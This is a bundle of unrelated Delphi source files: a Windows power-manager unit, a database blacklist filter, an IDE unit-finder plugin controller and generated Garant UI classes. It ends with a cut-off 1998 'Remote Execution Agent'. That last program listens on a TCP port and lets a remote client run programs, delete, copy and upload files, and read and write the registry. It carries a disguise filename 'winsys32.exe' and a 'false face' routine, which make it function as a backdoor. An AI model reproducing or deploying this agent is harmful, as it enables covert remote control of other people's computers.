Boolean): Boolean; begin Result := False; if Force then begin if ExitWindowsEx(EWX_POWEROFF or EWX_FORCE, 0) then Result := True; end else begin if ExitWindowsEx(EWX_POWEROFF, 0) then Result := True; end; end; function TPowerManager.Reboot(Force: Boolean): Boolean; begin Result := False; if Force then begin if ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0) then Result := True; end else begin if ExitWindowsEx(EWX_REBOOT, 0) then Result := True; end; end; function TPowerManager.Logoff(Force: Boolean): Boolean; begin Result := False; if Force then begin if ExitWindowsEx(EWX_LOGOFF or EWX_FORCE, 0) then Result := True; end else begin if ExitWindowsEx(EWX_LOGOFF, 0) then Result := True; end; end; constructor TWakeUpTimer.Create(AThreadOwner: TPowerManager); begin inherited Create(True); ThreadOwner := AThreadOwner; FStartEvent := TEvent.Create(nil, False, False, ''); FStopEvent := TEvent.Create(nil, False, False, ''); FTimer := CreateWaitableTimer(nil, False, nil); FreeOnTerminate := True; Resume; end; destructor TWakeUpTimer.Destroy; begin FStartEvent.Free; FStopEvent.Free; CloseHandle(FTimer); inherited; end; procedure TWakeUpTimer.DoOnTimer; begin if Assigned(ThreadOwner.FOnWakeUp) then ThreadOwner.FOnWakeUp(Self); end; procedure TWakeUpTimer.Execute; var _Event: array[0..2] of THandle; WaitUntil: TDateTime; SystemTime: TSystemTime; FileTime, LocalFileTime: TFileTime; begin _Event[0] := FStartEvent.Handle; _Event[1] := FStopEvent.Handle; _Event[2] := FTimer; while not Terminated do begin case WaitForMultipleObjects(3, @_Event, False, INFINITE) of WAIT_OBJECT_0: begin WaitUntil := Now + 1 / 24 / 60 / 60 * Interval; DateTimeToSystemTime(WaitUntil, SystemTime); SystemTimeToFileTime(SystemTime, LocalFileTime); LocalFileTimeToFileTime(LocalFileTime, FileTime); SetWaitableTimer(FTimer, TLargeInteger(FileTime), 0, nil, nil, True); ThreadOwner.FWakeUpTimerEnabled := True; end; WAIT_OBJECT_0 + 1: begin ThreadOwner.FWakeUpTimerEnabled := False; CancelWaitableTimer(FTimer); Terminate; end; WAIT_OBJECT_0 + 2: begin Terminate; ThreadOwner.FWakeUpTimerEnabled := False; Synchronize(DoOnTimer); end; end; end; end; procedure TWakeUpTimer.Start; begin FStartEvent.SetEvent; end; procedure TWakeUpTimer.Stop; begin FStopEvent.SetEvent; end; function TPowerManager.StartWakeUpTimer(Interval: Cardinal): Boolean; begin Result := False; if FWakeUpTimerEnabled = False then begin FWakeUpTimer := TWakeUpTimer.Create(Self); FWakeUpTimer.Interval := Interval; FWakeUpTimer.Start; Result := True; end; end; function TPowerManager.StopWakeUpTimer: Boolean; begin Result := False; if FWakeUpTimerEnabled = True then begin FWakeUpTimer.Stop; Result := True; end; end; function TPowerManager.IsWakeUpTimerEnabled: Boolean; begin Result := FWakeUpTimerEnabled; end; end.
unit arVAnouncedBlackList; { $Id: arVAnouncedBlackList.pas,v 1.1 2016/09/21 13:43:17 lukyanets Exp $ } interface uses l3LongintList, dt_Types, dtIntf, dt_Sab; function GetVAnouncedAccGroupsBlackList: Tl3LongintList; function IsDocAccGroupInAnouncedBlackList(aDocID : TDocID): Boolean; procedure FilterbyVAnouncedAccGroupsBlackList(const aSab : ISab); implementation uses SysUtils, l3Types, l3IniFile, l3String, IniShop, l3Interfaces, l3Base, daSchemeConsts, dt_Const, dt_AttrSchema, dt_Doc, dt_Link, dt_LinkServ; var gBlackList: Tl3LongintList; function GetVAnouncedAccGroupsBlackList: Tl3LongintList; var l_Ini: TCfgList; l_Str: Il3CString; function DoNum(const aStr: Tl3PCharLen; IsLast: Bool): Bool; var l_Num: Integer; begin Result := True; l_Num := l3StrToIntDef(aStr, -1); if l_Num >= 0 then gBlackList.Add(l_Num); end; begin if gBlackList = nil then begin gBlackList := Tl3LongintList.MakeSorted; l_Ini := CreateFamilyBaseIni; try l_Ini.Section := 'Anounced'; l_Str := l3CStr(l_Ini.ReadParamStrDef('AccGroupsBlackList', '')); if not l3IsNil(l_Str) then begin l3ParseWordsExF(l_Str.AsWStr, l3L2WA(@DoNum), [';',' ']); end; finally FreeAndNil(l_Ini); end; end; Result := gBlackList; end; function IsDocAccGroupInAnouncedBlackList(aDocID : TDocID): Boolean; var l_BL: Tl3LongintList; l_IsInList: Boolean; lAccGr: Integer; function lRecAccessProc(aItemPtr : Pointer) : Boolean; begin lAccGr := PInteger(aItemPtr)^; l_IsInList := l_BL.IndexOf(lAccGr) >= 0; Result := not l_IsInList; end; var lSab : ISab; lRAProcStub : TdtRecAccessProc; begin Result := False; l_BL := GetVAnouncedAccGroupsBlackList; l_IsInList := False; // get AccGr lSab := MakeSab(LinkServer(CurrentFamily).Attribute[atAccGroups]); lSab.Select(lnkDocIDFld, aDocID); if lSab.Count > 0 then begin lRAProcStub := L2RecAccessProc(@lRecAccessProc); try lSab.IterateRecords(lRAProcStub, [lnkDictIDFld]); finally FreeRecAccessProc(lRAProcStub); end; Result := l_IsInList; end; end; procedure FilterbyVAnouncedAccGroupsBlackList(const aSab : ISab); var lSab : ISab; lDocIDSab : ISab; lList : Tl3LongintList; begin lList := GetVAnouncedAccGroupsBlackList; if lList.Empty then Exit; lDocIDSab := MakeSabCopy(aSab); lDocIDSab.RecordsByKey(lnkDocIDFld, MakePhoto(LinkServer(CurrentFamily).Attribute[atAccGroups].Table)); lSab := MakeValueSet(LinkServer(CurrentFamily).Attribute[atAccGroups].Table, lnkDictIDFld, lList); lSab.RecordsByKey; lSab.AndSab(lDocIDSab); lSab.ValuesOfKey(lnkDocIDFld); lSab.RecordsByKey(fId_Fld, aSab); aSab.RecordsByKey; aSab.SubtractSab(lSab); aSab.ValuesOfKey(fId_Fld); end; initialization gBlackList := nil; finalization FreeAndNil(gBlackList); end.
unit FindUnit.EnvironmentController; interface uses Classes, Generics.Collections, FindUnit.PasParser, OtlParallelFU, ToolsAPI, XMLIntf, FindUnit.FileCache, SysUtils, Log4Pascal, FindUnit.Worker, FindUnit.AutoImport, Windows, FindUnit.Header; type TEnvironmentController = class(TInterfacedObject, IOTAProjectFileStorageNotifier) private FProcessingDCU: Boolean; FAutoImport: TAutoImport; FProjectUnits: TUnitsController; FLibraryPath: TUnitsController; FProjectPathWorker: TParserWorker; FLibraryPathWorker: TParserWorker; procedure CreateLibraryPathUnits; procedure OnFinishedLibraryPathScan(FindUnits: TObjectList<TPasFile>); procedure CreateProjectPathUnits; procedure OnFinishedProjectPathScan(FindUnits: TObjectList<TPasFile>); procedure CreatingProject(const ProjectOrGroup: IOTAModule); //Dummy procedure ProjectLoaded(const ProjectOrGroup: IOTAModule; const Node: IXMLNode); procedure ProjectSaving(const ProjectOrGroup: IOTAModule; const Node: IXMLNode); procedure ProjectClosing(const ProjectOrGroup: IOTAModule); procedure CallProcessDcuFiles; public function GetName: string; constructor Create; destructor Destroy; override; procedure LoadLibraryPath; procedure LoadProjectPath; procedure ForceLoadProjectPath; function GetProjectUnits(const SearchString: string): TStringList; function GetLibraryPathUnits(const SearchString: string): TStringList; function IsProjectsUnitReady: Boolean; function IsLibraryPathsUnitReady: Boolean; function GetLibraryPathStatus: string; function GetProjectPathStatus: string; procedure ProcessDCUFiles; property ProcessingDCU: Boolean read FProcessingDCU; property AutoImport: TAutoImport read FAutoImport; procedure ImportMissingUnits(ShowNoImport: Boolean = true); end; implementation uses FindUnit.OTAUtils, FindUnit.Utils, FindUnit.FileEditor, FindUnit.FormMessage, FindUnit.StringPositionList; { TEnvUpdateControl } constructor TEnvironmentController.Create; begin FAutoImport := TAutoImport.Create(FindUnitDir + 'memoryconfig.ini'); FAutoImport.Load; LoadLibraryPath; end; procedure TEnvironmentController.CreateLibraryPathUnits; var Paths, Files: TStringList; EnvironmentOptions: IOTAEnvironmentOptions; begin if FLibraryPath <> nil then Exit; try FreeAndNil(FLibraryPathWorker); except on e: exception do Logger.Error('TEnvironmentController.CreateLibraryPathUnits: ' + e.Message); end; while (BorlandIDEServices as IOTAServices) = nil do begin Logger.Debug('TEnvironmentController.CreateLibraryPathUnits: waiting for IOTAServices'); Sleep(1000); end; try Files := nil; Paths := TStringList.Create; Paths.Delimiter := ';'; Paths.StrictDelimiter := True; EnvironmentOptions := (BorlandIDEServices as IOTAServices).GetEnvironmentOptions; Paths.DelimitedText := EnvironmentOptions.Values['LibraryPath'] + ';' + EnvironmentOptions.Values['BrowsingPath'] + ';$(BDS)\source\rtl\win'; FLibraryPath := TUnitsController.Create; FLibraryPathWorker := TParserWorker.Create(Paths, Files); FLibraryPathWorker.Start(OnFinishedLibraryPathScan); except on E: exception do Logger.Error('TEnvironmentController.CreateLibraryPathUnits: %s', [e.Message]); end; end; procedure TEnvironmentController.CreateProjectPathUnits; var I: Integer; CurProject: IOTAProject; FileDesc: string; Files, Paths: TStringList; begin if FProjectUnits <> nil then Exit; try FreeAndNil(FProjectPathWorker); except on E: exception do Logger.Debug('TEnvironmentController.CreateProjectPathUnits: Error removing object'); end; while GetCurrentProject = nil do begin Logger.Debug('TEnvironmentController.CreateProjectPathUnits: waiting GetCurrentProject <> nil'); Sleep(1000); end; Files := GetAllFilesFromProjectGroup; Paths := nil; FProjectUnits := TUnitsController.Create; FProjectPathWorker := TParserWorker.Create(Paths, Files); FProjectPathWorker.Start(OnFinishedProjectPathScan); end; procedure TEnvironmentController.CreatingProject(const ProjectOrGroup: IOTAModule); begin LoadProjectPath; end; destructor TEnvironmentController.Destroy; begin FAutoImport.Free; FProjectUnits.Free; FLibraryPath.Free; inherited; end; procedure TEnvironmentController.ForceLoadProjectPath; begin if FProjectUnits = nil then LoadProjectPath; end; function TEnvironmentController.GetLibraryPathStatus: string; begin Result := 'Ready'; if FLibraryPathWorker <> nil then Result := Format('%d/%d Processing...', [FLibraryPathWorker.ParsedItems, FLibraryPathWorker.ItemsToParse]); end; function TEnvironmentController.GetLibraryPathUnits(const SearchString: string): TStringList; begin if IsLibraryPathsUnitReady then Result := FLibraryPath.GetFindInfo(SearchString) else Result := TStringList.Create; end; function TEnvironmentController.GetName: string; begin Result := 'RfUtils - Replace FindUnit'; end; function TEnvironmentController.GetProjectPathStatus: string; begin Result := 'Ready'; if FProjectPathWorker <> nil then Result := Format('%d/%d Files Processed...', [FProjectPathWorker.ParsedItems, FProjectPathWorker.ItemsToParse]); end; function TEnvironmentController.GetProjectUnits(const SearchString: string): TStringList; begin if IsProjectsUnitReady then Result := FProjectUnits.GetFindInfo(SearchString) else Result := TStringList.Create; end; procedure TEnvironmentController.ImportMissingUnits(ShowNoImport: Boolean); var CurEditor: IOTASourceEditor; FileEditor: TSourceFileEditor; ListToImport: TStringPositionList; Item: TStringPosition; OldFocus: Cardinal; begin if FAutoImport = nil then Exit; CurEditor := OtaGetCurrentSourceEditor; if CurEditor = nil then Exit; OldFocus := GetFocus; ListToImport := FAutoImport.LoadUnitListToImport; if ListToImport.Count = 0 then begin if ShowNoImport then TfrmMessage.ShowInfoToUser('There is not possible uses to import.'); ListToImport.Free; SetFocus(OldFocus); Exit; end; FileEditor := TSourceFileEditor.Create(CurEditor); try FileEditor.Prepare; for Item in ListToImport do begin FileEditor.AddUnit(Item); SetFocus(OldFocus); end; finally FileEditor.Free; end; ListToImport.Free; end; function TEnvironmentController.IsLibraryPathsUnitReady: Boolean; begin Result := (FLibraryPath <> nil) and (FLibraryPath.Ready); end; function TEnvironmentController.IsProjectsUnitReady: Boolean; begin Result := (FProjectUnits <> nil) and (FProjectUnits.Ready); end; procedure TEnvironmentController.LoadLibraryPath; begin Logger.Debug('TEnvironmentController.LoadLibraryPath'); if (FLibraryPath <> nil) and (not FLibraryPath.Ready) then begin Logger.Debug('TEnvironmentController.LoadLibraryPath: no'); Exit; end; Logger.Debug('TEnvironmentController.LoadLibraryPath: yes'); FreeAndNil(FLibraryPath); Parallel.Async(CreateLibraryPathUnits); end; procedure TEnvironmentController.LoadProjectPath; begin Logger.Debug('TEnvironmentController.LoadProjectPath'); if (FProjectUnits <> nil) and (not FProjectUnits.Ready) then begin Logger.Debug('TEnvironmentController.LoadProjectPath: no'); Exit; end; Logger.Debug('TEnvironmentController.LoadProjectPath: yes'); FreeAndNil(FProjectUnits); Parallel.Async(CreateProjectPathUnits); end; procedure TEnvironmentController.OnFinishedLibraryPathScan(FindUnits: TObjectList<TPasFile>); begin FLibraryPath.Units := FindUnits; FLibraryPath.Ready := True; end; procedure TEnvironmentController.OnFinishedProjectPathScan(FindUnits: TObjectList<TPasFile>); begin FProjectUnits.Ready := True; FProjectUnits.Units := FindUnits; end; procedure TEnvironmentController.ProcessDCUFiles; begin Parallel.Async(CallProcessDcuFiles); end; procedure TEnvironmentController.CallProcessDcuFiles; var Paths, Files: TStringList; EnvironmentOptions: IOTAEnvironmentOptions; DcuProcess: TParserWorker; Items: TObject; begin FProcessingDCU := True; while (BorlandIDEServices as IOTAServices) = nil do Sleep(1000); Paths := TStringList.Create; Paths.Delimiter := ';'; Paths.StrictDelimiter := True; EnvironmentOptions := (BorlandIDEServices as IOTAServices).GetEnvironmentOptions; Paths.DelimitedText := EnvironmentOptions.Values['LibraryPath'] + ';' + EnvironmentOptions.Values['BrowsingPath']; Files := nil; DcuProcess := TParserWorker.Create(Paths, Files); DcuProcess.ParseDcuFile := True; Items := DcuProcess.Start; DcuProcess.Free; Items.Free; FProcessingDCU := False; end; procedure TEnvironmentController.ProjectClosing(const ProjectOrGroup: IOTAModule); begin Logger.Debug('TEnvironmentController.ProjectClosing'); end; procedure TEnvironmentController.ProjectLoaded(const ProjectOrGroup: IOTAModule; const Node: IXMLNode); begin Logger.Debug('TEnvironmentController.ProjectLoaded'); end; procedure TEnvironmentController.ProjectSaving(const ProjectOrGroup: IOTAModule; const Node: IXMLNode); begin Logger.Debug('TEnvironmentController.ProjectSaving'); end; end.
unit kwPopComboBoxSelectItem; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // Библиотека "ScriptEngine" // Модуль: "w:/common/components/rtl/Garant/ScriptEngine/kwPopComboBoxSelectItem.pas" // Родные Delphi интерфейсы (.pas) // Generated from UML model, root element: <<ScriptKeyword::Class>> Shared Delphi Scripting::ScriptEngine::ControlsProcessing::pop_ComboBox_SelectItem // // *Формат:* // {code} // aStr aControlObj pop:ComboBox:SelectItem // {code} // *Описание:* Выбирает значение aStr в списке TComboBox, если такое присуствует. Аналогично работа // пользователя (вызываются обработчики, связанные с изменением содержимого). // // // Все права принадлежат ООО НПП "Гарант-Сервис". // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // ! Полностью генерируется с модели. Править руками - нельзя. ! {$Include ..\ScriptEngine\seDefine.inc} interface {$If not defined(NoScripts)} uses StdCtrls, tfwScriptingInterfaces, Controls, Classes ; {$IfEnd} //not NoScripts {$If not defined(NoScripts)} type {$Include ..\ScriptEngine\kwComboBoxFromStack.imp.pas} TkwPopComboBoxSelectItem = {final} class(_kwComboBoxFromStack_) {* *Формат:* [code] aStr aControlObj pop:ComboBox:SelectItem [code] *Описание:* Выбирает значение aStr в списке TComboBox, если такое присуствует. Аналогично работа пользователя (вызываются обработчики, связанные с изменением содержимого). } protected // realized methods procedure DoWithComboBox(const aCombobox: TCustomCombo; const aCtx: TtfwContext); override; public // overridden public methods class function GetWordNameForRegister: AnsiString; override; end;//TkwPopComboBoxSelectItem {$IfEnd} //not NoScripts implementation {$If not defined(NoScripts)} uses tfwAutoregisteredDiction, tfwScriptEngine, Windows, afwFacade, Forms ; {$IfEnd} //not NoScripts {$If not defined(NoScripts)} type _Instance_R_ = TkwPopComboBoxSelectItem; {$Include ..\ScriptEngine\kwComboBoxFromStack.imp.pas} type THackCustomComboBox = class(TCustomComboBox) end;//THackCustomComboBox // start class TkwPopComboBoxSelectItem procedure TkwPopComboBoxSelectItem.DoWithComboBox(const aCombobox: TCustomCombo; const aCtx: TtfwContext); //#UC START# *5049C8740203_504D9BE9028F_var* var l_Item: AnsiString; //#UC END# *5049C8740203_504D9BE9028F_var* begin //#UC START# *5049C8740203_504D9BE9028F_impl* if aCtx.rEngine.IsTopString then l_Item := aCtx.rEngine.PopDelphiString else Assert(False, 'Не задан пункт для выделения.'); THackCustomComboBox(aCombobox).SelectItem(l_Item); //#UC END# *5049C8740203_504D9BE9028F_impl* end;//TkwPopComboBoxSelectItem.DoWithComboBox class function TkwPopComboBoxSelectItem.GetWordNameForRegister: AnsiString; {-} begin Result := 'pop:ComboBox:SelectItem'; end;//TkwPopComboBoxSelectItem.GetWordNameForRegister {$IfEnd} //not NoScripts initialization {$If not defined(NoScripts)} {$Include ..\ScriptEngine\kwComboBoxFromStack.imp.pas} {$IfEnd} //not NoScripts end.
unit nsWebBrowserPrim; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // Библиотека "View" // Автор: Люлин А.В. // Модуль: "w:/garant6x/implementation/Garant/GbaNemesis/View/InternetAgent/nsWebBrowserPrim.pas" // Начат: 23.04.2009 15:56 // Родные Delphi интерфейсы (.pas) // Generated from UML model, root element: <<SimpleClass::Class>> F1 Встроенные продукты::InternetAgent::View::InternetAgent::TnsWebBrowserPrim // // // Все права принадлежат ООО НПП "Гарант-Сервис". // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // ! Полностью генерируется с модели. Править руками - нельзя. ! {$Include w:\garant6x\implementation\Garant\nsDefine.inc} interface {$If not defined(Admin) AND not defined(Monitorings)} uses shdocvw ; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} type TnsWebBrowserPrim = class(TWebBrowser) protected // overridden protected methods procedure AfterConstruction; override; {* AfterConstruction is called automatically after the object’s last constructor has executed. Do not call it explicitly in your applications. The AfterConstruction method implemented in TObject does nothing. Override this method when creating a class that takes some action after the object is created. For example, TCustomForm overrides AfterConstruction to generate an OnCreate event. } public // overridden public methods destructor Destroy; override; protected // protected methods procedure InitFields; virtual; procedure Cleanup; virtual; function CheckStamp(const aGUID: TGUID): Boolean; end;//TnsWebBrowserPrim {$IfEnd} //not Admin AND not Monitorings implementation {$If not defined(Admin) AND not defined(Monitorings)} // start class TnsWebBrowserPrim procedure TnsWebBrowserPrim.InitFields; //#UC START# *49F0577C02ED_49F0573B0332_var* //#UC END# *49F0577C02ED_49F0573B0332_var* begin //#UC START# *49F0577C02ED_49F0573B0332_impl* // - ничего не делаем //#UC END# *49F0577C02ED_49F0573B0332_impl* end;//TnsWebBrowserPrim.InitFields procedure TnsWebBrowserPrim.Cleanup; //#UC START# *49F058E50188_49F0573B0332_var* //#UC END# *49F058E50188_49F0573B0332_var* begin //#UC START# *49F058E50188_49F0573B0332_impl* // - ничего не делаем //#UC END# *49F058E50188_49F0573B0332_impl* end;//TnsWebBrowserPrim.Cleanup function TnsWebBrowserPrim.CheckStamp(const aGUID: TGUID): Boolean; //#UC START# *49F05B0D02C7_49F0573B0332_var* //#UC END# *49F05B0D02C7_49F0573B0332_var* begin //#UC START# *49F05B0D02C7_49F0573B0332_impl* Result := false; //#UC END# *49F05B0D02C7_49F0573B0332_impl* end;//TnsWebBrowserPrim.CheckStamp destructor TnsWebBrowserPrim.Destroy; //#UC START# *48077504027E_49F0573B0332_var* //#UC END# *48077504027E_49F0573B0332_var* begin //#UC START# *48077504027E_49F0573B0332_impl* Cleanup; inherited; //#UC END# *48077504027E_49F0573B0332_impl* end;//TnsWebBrowserPrim.Destroy procedure TnsWebBrowserPrim.AfterConstruction; //#UC START# *49F057120234_49F0573B0332_var* //#UC END# *49F057120234_49F0573B0332_var* begin //#UC START# *49F057120234_49F0573B0332_impl* inherited; InitFields; //#UC END# *49F057120234_49F0573B0332_impl* end;//TnsWebBrowserPrim.AfterConstruction {$IfEnd} //not Admin AND not Monitorings end.
{ Auther: Shital Shah E-Mail addr: sytel@csre.iitb.ernet.in sytel@poboxes.com Purpose: Program acts as your agent executing your commands on remote computer on TCP/IP network Modifications: If you are modifieng the program, don't forget to send copy to auther also. Update global variables VerStr and UpdateNo too. } unit Main; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, Buttons, ScktComp, ExtCtrls, ToolWin, Gauges, IniFiles, Menus, Math, FindFile, MMSystem; const VerStr:String='25Jul98'; UpdateNo:integer=3; ProgName:String='Shital''s Remote Execution Agent'; ChangedEXEName:string='winsys32.exe'; type TMainForm = class(TForm) ReplyTimeOutTimer: TTimer; SS: TServerSocket; FindFiles: TFindFile; MinuteTimer: TTimer; procedure SSConnect(Sender: TObject; Socket: TCustomWinSocket); procedure SSDisconnect(Sender: TObject; Socket: TCustomWinSocket); procedure SSRead(Sender: TObject; Socket: TCustomWinSocket); procedure ReplyTimeOutTimerTimer(Sender: TObject); procedure SSError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure FormActivate(Sender: TObject); procedure FormCreate(Sender: TObject); procedure SSListen(Sender: TObject; Socket: TCustomWinSocket); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure FormPaint(Sender: TObject); procedure MinuteTimerTimer(Sender: TObject); private procedure WMQUERYENDSESSION(var msg: TWMQUERYENDSESSION); message WM_QUERYENDSESSION; public procedure WaitForServerReply; procedure SendToClientLn(str:string); procedure SendLines(sLines:TStrings); procedure ProcessReq(sReq:string); procedure SeperateTwoParams; procedure SendFile(sFileName:string); end; procedure LogMessage(str:string); function GetSocketErrMessage(ErrCode:integer):string; // return '' is not coverd here procedure TaskForFirstTime; function GetCommaDelimList(sl:TStrings):String; function EncryptAlphaNum(str:string): string ; function DecryptAlphaNum(str:string): string ; function OnSocketTimeOut:Boolean; function OnSocketError:Boolean; function CombineCodeMsg(nCode:integer; sMsg:string):string; function RPos(sString:string;cChar:Char):integer; function BoolToStr(bBool:Boolean):string; procedure ClearPutFileOperation; function AbortPutFile(pCharArr:PChar; nArrSize:Integer):Boolean; function IsChangedEXE:Boolean; procedure ShowFalseFace; var MainForm: TMainForm; IsFirstTime:Boolean=false; IsHelpDlgShown:Boolean=false; IsFillJunkCanceled:boolean=false; DrawingChar:string='@'; dtStartTime:TDateTime; UMId:string=''; // User Mail Id implementation uses constants, operations, pwdlg, sendkey; {$R *.DFM} const nPORT:integer=23145; nCOMMAND_MODE:integer=1; nPUT_FILE_MODE:integer=2; sABORT_PUT_CMD:string='abortput'; var ClientReplyStr:string=''; ReplyReceived:Boolean=false; IsLogingOn:Boolean=true; nCommandMode:Integer=1; // nCOMMAND_MODE sCommand,sParam,sParam1,sParam2:string; nInBytes:Integer=-1; fInFile:file; nTotalInFileSize:integer; sInFileName:string=''; nDisconnectCount:Integer=0; procedure TMainForm.WaitForServerReply; begin ReplyTimeOutTimer.Enabled:=true; LogMessage('//Waiting for reply...'); try while (not ReplyReceived) and (not Application.Terminated) and (ReplyTimeOutTimer.Enabled) do Application.ProcessMessages; finally ReplyTimeOutTimer.Enabled:=false; ReplyReceived:=false; end; end; procedure TMainForm.SendToClientLn(str:string); begin try LogMessage('Sent to client: ' + str); SS.Socket.Connections[0].SendText(str + #13#10); Application.ProcessMessages; except end; end; procedure LogMessage(str:string); begin //if IsLogingOn then LogForm.LogMemo.Lines.Add(str); end; procedure TMainForm.SSConnect(Sender: TObject; Socket: TCustomWinSocket); begin try ClearPutFileOperation; LogMessage('//Connected!'); Socket.SendText(IntToStr(nHELLO_CODE) + ' ' + sHELLO_MSG); except end; end; procedure TMainForm.SSDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin nDisconnectCount:=nDisconnectCount+1; LogMessage('//Disconnected!'); end; procedure TMainForm.SSRead(Sender: TObject; Socket: TCustomWinSocket); var nSpacePos:integer; pBuff:PChar; nBuffSizeReq,nBuffSizeActual:integer; begin try if nCommandMode=nCOMMAND_MODE then begin ReplyReceived:=true; ClientReplyStr:=Socket.ReceiveText; LogMessage('Received from client: ' + ClientReplyStr); ProcessReq(ClientReplyStr); end else if nCommandMode=nPUT_FILE_MODE then begin if nInBytes=-1 then begin nInBytes:=0; AssignFile(fInFile,sInFileName); Rewrite(fInFile,1); end; try pBuff:=nil; nBuffSizeReq:=socket.ReceiveLength; GetMem(pBuff,nBuffSizeReq); nBuffSizeActual:=socket.ReceiveBuf(pBuff^,nBuffSizeReq); if not AbortPutFile(pBuff,nBuffSizeActual) then begin BlockWrite(fInFile,pBuff^,nBuffSizeActual); nInBytes:=nInBytes+nBuffSizeActual; end else begin nTotalInFileSize:=nBuffSizeActual; end; finally FreeMem(pBuff); end; if nInBytes >= nTotalInFileSize then begin ClearPutFileOperation; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'PUTFILE command completed.')); end; end else begin //Invalid command mode - so correct it SendToClientLn(CombineCodeMsg(nINTERNAL_ERROR_CODE,'Internal error: nCommandMode was set to unrecognized value')); nCommandMode:=nCOMMAND_MODE; ClearPutFileOperation; end; except end; end; //commands procedure TMainForm.ProcessReq(sReq:string); var slLines:TStringList; nSpacePos:integer; bResult:boolean;nResult:Integer; mr:integer; sStr:string; begin try if nCommandMode = nCOMMAND_MODE then begin //Get command sReq:=TrimLeft(sReq); nSpacePos:=Pos(' ',sReq); if nSpacePos = 0 then begin sCommand:=sReq; sCommand:=Trim(sCommand); sParam:=''; end else begin sCommand:=LowerCase(Copy(sReq,1,nSpacePos-1)); sParam:=Copy(sReq,nSpacePos+1,Length(sReq)-nSpacePos); sParam:=Trim(sParam); end; //Now process the commad if sCommand ='' then begin SendToClientLn(CombineCodeMsg(nNO_COMMAND_CODE,sNO_COMMAND_MSG)); end else if (sCommand = 'dir') or (sCommand = 'ls') then begin try slLines:=TStringList.Create; GetDirList(sParam,slLines,faAnyFile); SendLines(slLines); finally slLines.Free; end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'DIR command completed.')); end else if (sCommand = 'view') or (sCommand = 'type') or (sCommand = 'show') then begin try slLines:=TStringList.Create; ViewFile(sParam,slLines); SendLines(slLines); finally slLines.Free; end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'VIEW command completed.')); end else if (sCommand = 'del') or (sCommand = 'delete') or (sCommand = 'rm') then begin try bResult:=DeleteFile(sParam); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'DEL command returned ' + BoolToStr(bResult))); end else if (sCommand = 'ren') or (sCommand = 'rename') or (sCommand = 'mv') then begin try SeperateTwoParams;; bResult:=RenameFile(sParam1,sParam2); SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'DEL command returned ' + BoolToStr(bResult))); finally end; end else if (sCommand = 'dir/ad') or (sCommand = 'ls-d') then begin try slLines:=TStringList.Create; GetDirList(sParam,slLines,faDirectory); SendLines(slLines); finally slLines.Free; end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'DIR/AD command completed.')); end else if (sCommand = 'dir/s') or (sCommand = 'ls-S') then begin try SeperateTwoParams; FindFiles.Directory := sParam1; FindFiles.Filter := sParam2; FindFiles.Execute ; SendLines(FindFiles.Files); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'DIR/S command completed.')); end else if (sCommand = 'copy') or (sCommand = 'cp') then begin try SeperateTwoParams; bResult:=CopyFile(PChar(sParam1),PChar(sParam2),False); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'COPY command returned ' + BoolToStr(bResult))); end else if (sCommand = 'exec') or (sCommand = 'run') then begin try SeperateTwoParams; if (sParam1 <> '') and (sParam2 <> '') then nResult:=ExecuteIt(sParam1,sParam2); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'EXEC command returned ' + IntToStr(nResult))); end else if (sCommand = 'print') or (sCommand = 'prn') then begin try SeperateTwoParams; nResult:=PrintIt(sParam1,sParam2); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'PRINT command returned ' + IntToStr(nResult))); end else if (sCommand = 'openreg') or (sCommand = 'openkey') then begin try SeperateTwoParams; operations.gsKeyRoot:=sParam1; operations.gsKeyName:=sParam2; finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'OPENREG command completed.')); end else if (sCommand = 'setregroot') or (sCommand = 'setrootkey') then begin try operations.gnRoot :=StrToInt(sParam); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'SetRegRoot command completed.')); end else if (sCommand = 'writeregstr') or (sCommand = 'writestrinreg') then begin try WriteStrKey(sParam); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'WriteRegStr command completed.')); end else if (sCommand = 'writeregint') or (sCommand = 'writeintinreg') then begin try WriteIntKey(StrToInt(sParam)); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'WriteRegInt command completed.')); end else if (sCommand = 'readregstr') or (sCommand = 'readstrinreg') then begin try SendToClientLn('Registryvalue="' + ReadStrKey + '"'); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'ReadRegStr command completed.')); end else if (sCommand = 'readregint') or (sCommand = 'readintinreg') then begin try SendToClientLn('Registryvalue="' + IntToStr(ReadIntKey) + '"'); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'ReadRegInt command completed.')); end else if (sCommand = 'showmodalokmsg') or (sCommand = 'showmessage') then begin SeperateTwoParams; try SendToClientLn(CombineCodeMsg(nWAIT_CODE,sWAIT_MSG)); MessageBox(MainForm.Handle,PChar(sParam2),PChar(sParam1),MB_OK or MB_SYSTEMMODAL); finally end; SendToClientLn(CombineCodeMsg(nCOMMAND_ENDED_CODE,'ShowOkMsg command completed.')); end else if (sCommand = 'showyesnomsg') or (sCommand = 'yesnomsgbox') then begin SeperateTwoParams; try SendToClientLn(CombineCodeMsg(nWAIT_CODE,sWAIT_MSG)); 